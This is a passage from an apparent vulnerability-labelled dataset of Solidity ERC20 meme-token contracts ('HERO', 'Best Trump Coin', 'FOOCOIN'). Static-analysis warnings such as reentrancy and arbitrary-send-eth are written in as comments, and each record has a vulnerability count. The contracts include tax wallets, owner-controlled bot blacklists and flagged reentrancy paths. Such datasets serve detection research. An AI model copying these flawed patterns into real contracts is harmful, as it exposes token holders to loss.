address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e873537\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 35b8e38\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5ab0f5e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5ab0f5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a5f995a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a5f995a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5ab0f5e\n\t\t\t\t// reentrancy-eth | ID: a5f995a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5ab0f5e\n\t\t\t\t\t// reentrancy-eth | ID: a5f995a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a5f995a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a5f995a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a5f995a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5ab0f5e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a5f995a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a5f995a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5ab0f5e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5ab0f5e\n\t\t// reentrancy-events | ID: 35b8e38\n\t\t// reentrancy-benign | ID: e873537\n\t\t// reentrancy-eth | ID: a5f995a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b7bf76d): HERO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b7bf76d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5ab0f5e\n\t\t// reentrancy-events | ID: 35b8e38\n\t\t// reentrancy-eth | ID: a5f995a\n\t\t// arbitrary-send-eth | ID: b7bf76d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c5ee5e7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c5ee5e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6d49751): HERO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6d49751: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 25fc897): HERO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 25fc897: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 66e09d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 66e09d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c5ee5e7\n\t\t// reentrancy-eth | ID: 66e09d8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c5ee5e7\n\t\t// unused-return | ID: 25fc897\n\t\t// reentrancy-eth | ID: 66e09d8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c5ee5e7\n\t\t// unused-return | ID: 6d49751\n\t\t// reentrancy-eth | ID: 66e09d8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c5ee5e7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 66e09d8\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10745.sol",
"size_bytes": 19481,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BTC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1927e5c): BTC._taxWallet should be immutable \n\t// Recommendation for 1927e5c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f907c10): BTC._initialBuyTax should be constant \n\t// Recommendation for f907c10: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: f362663): BTC._initialSellTax should be constant \n\t// Recommendation for f362663: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: af9ea80): BTC._reduceBuyTaxAt should be constant \n\t// Recommendation for af9ea80: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 7;\n\n\t// WARNING Optimization Issue (constable-states | ID: 735d080): BTC._reduceSellTaxAt should be constant \n\t// Recommendation for 735d080: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2318fb9): BTC._preventSwapBefore should be constant \n\t// Recommendation for 2318fb9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 12;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69000000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Best Trump Coin\";\n\n string private constant _symbol = unicode\"BTC\";\n\n uint256 public _maxTxAmount = 1380000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1380000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: da071d9): BTC._taxSwapThreshold should be constant \n\t// Recommendation for da071d9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 690000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0597012): BTC._maxTaxSwap should be constant \n\t// Recommendation for 0597012: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 690000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x4198EB260738594e382103a5128A9b1374Baa9D9);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 19c945b): BTC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 19c945b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3410b1c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3410b1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 70d9499): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 70d9499: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3410b1c\n\t\t// reentrancy-benign | ID: 70d9499\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3410b1c\n\t\t// reentrancy-benign | ID: 70d9499\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4f1260): BTC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4f1260: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 70d9499\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3410b1c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3c12efa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3c12efa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e727f44): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e727f44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3c12efa\n\t\t\t\t// reentrancy-eth | ID: e727f44\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3c12efa\n\t\t\t\t\t// reentrancy-eth | ID: e727f44\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e727f44\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e727f44\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e727f44\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3c12efa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e727f44\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e727f44\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3c12efa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3c12efa\n\t\t// reentrancy-events | ID: 3410b1c\n\t\t// reentrancy-benign | ID: 70d9499\n\t\t// reentrancy-eth | ID: e727f44\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3c12efa\n\t\t// reentrancy-events | ID: 3410b1c\n\t\t// reentrancy-eth | ID: e727f44\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d3393b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d3393b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 591428c): BTC.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 591428c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 889507c): BTC.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 889507c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 11fa510): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 11fa510: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d3393b2\n\t\t// reentrancy-eth | ID: 11fa510\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d3393b2\n\t\t// unused-return | ID: 591428c\n\t\t// reentrancy-eth | ID: 11fa510\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d3393b2\n\t\t// unused-return | ID: 889507c\n\t\t// reentrancy-eth | ID: 11fa510\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d3393b2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 11fa510\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10746.sol",
"size_bytes": 19863,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"FOOCOIN\";\n\n string private constant _symbol = unicode\"FOOCOIN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public 